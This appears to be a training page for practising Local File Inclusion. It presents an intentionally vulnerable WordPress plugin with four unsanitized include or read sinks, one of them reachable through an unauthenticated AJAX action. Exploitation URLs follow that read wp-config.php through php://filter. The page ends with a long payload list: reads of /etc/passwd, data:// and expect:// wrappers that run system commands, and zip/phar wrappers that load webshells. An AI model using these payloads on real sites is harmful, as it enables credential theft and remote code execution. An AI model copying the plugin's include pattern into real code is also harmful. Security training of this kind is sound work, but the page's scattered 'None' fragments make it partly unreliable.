• A vibe coded vulnerable WordPress Plugin to practice LFI
  • 4 different test case scenarios

Vulnerable WP Plugin to Learn LFI

<?php
/**
 * Plugin Name: LFI Lab – Intentionally Vulnerable
 * Description: Deliberate Local File Inclusion flaws for training only. Do NOT use in production or on public sites.
 * Version: 0.1
 * Author: training-only
 */

if (!defined('ABSPATH')) { exit; }

// ------------------------------
// 1) Frontend endpoint with LFI
//    Example: /?lfi_lab=1&path=../../wp-config.php
// ------------------------------
add_action('init', function () {
    if (isset($_GET['lfi_lab'])) {
        // VULN: direct include of attacker-controlled path
        $path = isset($_GET['path']) ? $_GET['path'] : '';
        // No sanitization. No base path restriction. Classic LFI.
        if ($path !== '') {
            include $path; // VULNERABLE
        }
        exit; // keep demo self-contained
    }
});

// ------------------------------
// 2) Shortcode with LFI
//    Example: [lfi_include file="../../wp-config.php"]
// ------------------------------
add_shortcode('lfi_include', function ($atts) {
    $a = shortcode_atts(['file' => ''], $atts, 'lfi_include');
    // VULN: user-supplied file path is included
    if ($a['file'] !== '') {
        ob_start();
        include $a['file']; // VULNERABLE
        return ob_get_clean();
    }
    return '';
});

// ------------------------------
// 3) AJAX action with LFI (no auth, no nonce)
//    Example: /wp-admin/admin-ajax.php?action=lfi_include&f=../../wp-config.php
// ------------------------------
add_action('wp_ajax_nopriv_lfi_include', 'lfi_lab_ajax');
add_action('wp_ajax_lfi_include', 'lfi_lab_ajax');
function lfi_lab_ajax() {
    // VULN: no capability checks, no nonce, direct include of attacker-controlled path
    $f = isset($_REQUEST['f']) ? $_REQUEST['f'] : '';
    if ($f !== '') {
        include $f; // VULNERABLE
    }
    wp_die();
}

// ------------------------------
// 4) Admin page echoing included file (LFI + info leak)
//    Menu: Settings → LFI Lab (admin only UI, but inclusion is still unsafe)
// ------------------------------
add_action('admin_menu', function () {
    add_options_page('LFI Lab', 'LFI Lab', 'manage_options', 'lfi-lab', 'lfi_lab_admin_page');
});

function lfi_lab_admin_page() {
    echo '<div class="wrap"><h1>LFI Lab</h1>';
    echo '<p><strong>Danger:</strong> This page is intentionally vulnerable.</p>';
    echo '<form method="get">';
    echo '<input type="hidden" name="page" value="lfi-lab" />';
    echo '<label>File to include: <input type="text" name="file" value="" style="width:400px"/></label> ';
    echo '<button class="button button-primary">Include</button>';
    echo '</form>';

    if (isset($_GET['file']) && $_GET['file'] !== '') {
        echo '<h2>Included output</h2><pre>';
        echo file_get_contents($_GET['file']); // VULNERABLE
        echo '</pre>';
    }
    echo '</div>';
}
None

1️⃣ Frontend endpoint with LFI

http://localhost/wordpress/?lfi_lab=1&path=php://filter/convert.base64-encode/resource=wp-config.php
None

Base64 Decoded

None

2️⃣ Shortcode LFI

[lfi_include file="php://filter/convert.base64-encode/resource=wp-config.php"]
None
None

3️⃣ AJAX (no auth + no priv check)

POST /wordpress-site/wp-admin/admin-ajax.php
...
...

action=<action_name>&param=php://filter/convert.base64-encode/resource=<lfi_payload>
None

4️⃣ Admin+ LFI

None
None

wp-config.php

None

../wp-config.php

None

php://filter/convert.base64-encode/resource=<lfi_payload>

None

💉 LFI Payload Variants Using PHP Wrappers

php://filter/convert.base64-encode/resource=wp-config.php
php://filter/convert.iconv.utf-7.utf-8/resource=wp-config.php
php://filter/zlib.deflate/convert.base64-encode/resource=wp-config.php
php://filter/read=string.rot13/resource=wp-config.php
php://filter/convert.quoted-printable-encode/resource=wp-config.php
php://filter/convert.base64-decode/resource=php://input
php://memory
php://temp
php://input
data://text/plain,<?php phpinfo(); ?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
zip://path/to/archive.zip#payload.php
rar://path/to/archive.rar#payload.php
phar://path/to/archive.phar/file.php
expect://ls
file://C:/Windows/win.ini
file:///etc/passwd
compress.zlib://path/to/file.txt
compress.bzip2://path/to/file.txt
glob://*.php
data://text/plain,<?php system($_GET['cmd']); ?>
zip://path/to/uploaded.zip#webshell.php
zip://../../../../wp-content/uploads/upload.zip#webshell.php
phar://path/to/malicious.phar
phar://../../../../wp-content/uploads/malicious.phar
compress.zlib://path/to/file.gz
compress.bzip2://path/to/file.bz2
glob://../../../../wp-content/*.php
file://C:/xampp/htdocs/wordpress/wp-content/plugins/vulnerable.php
data://text/php,<?=`whoami`?>
expect://whoami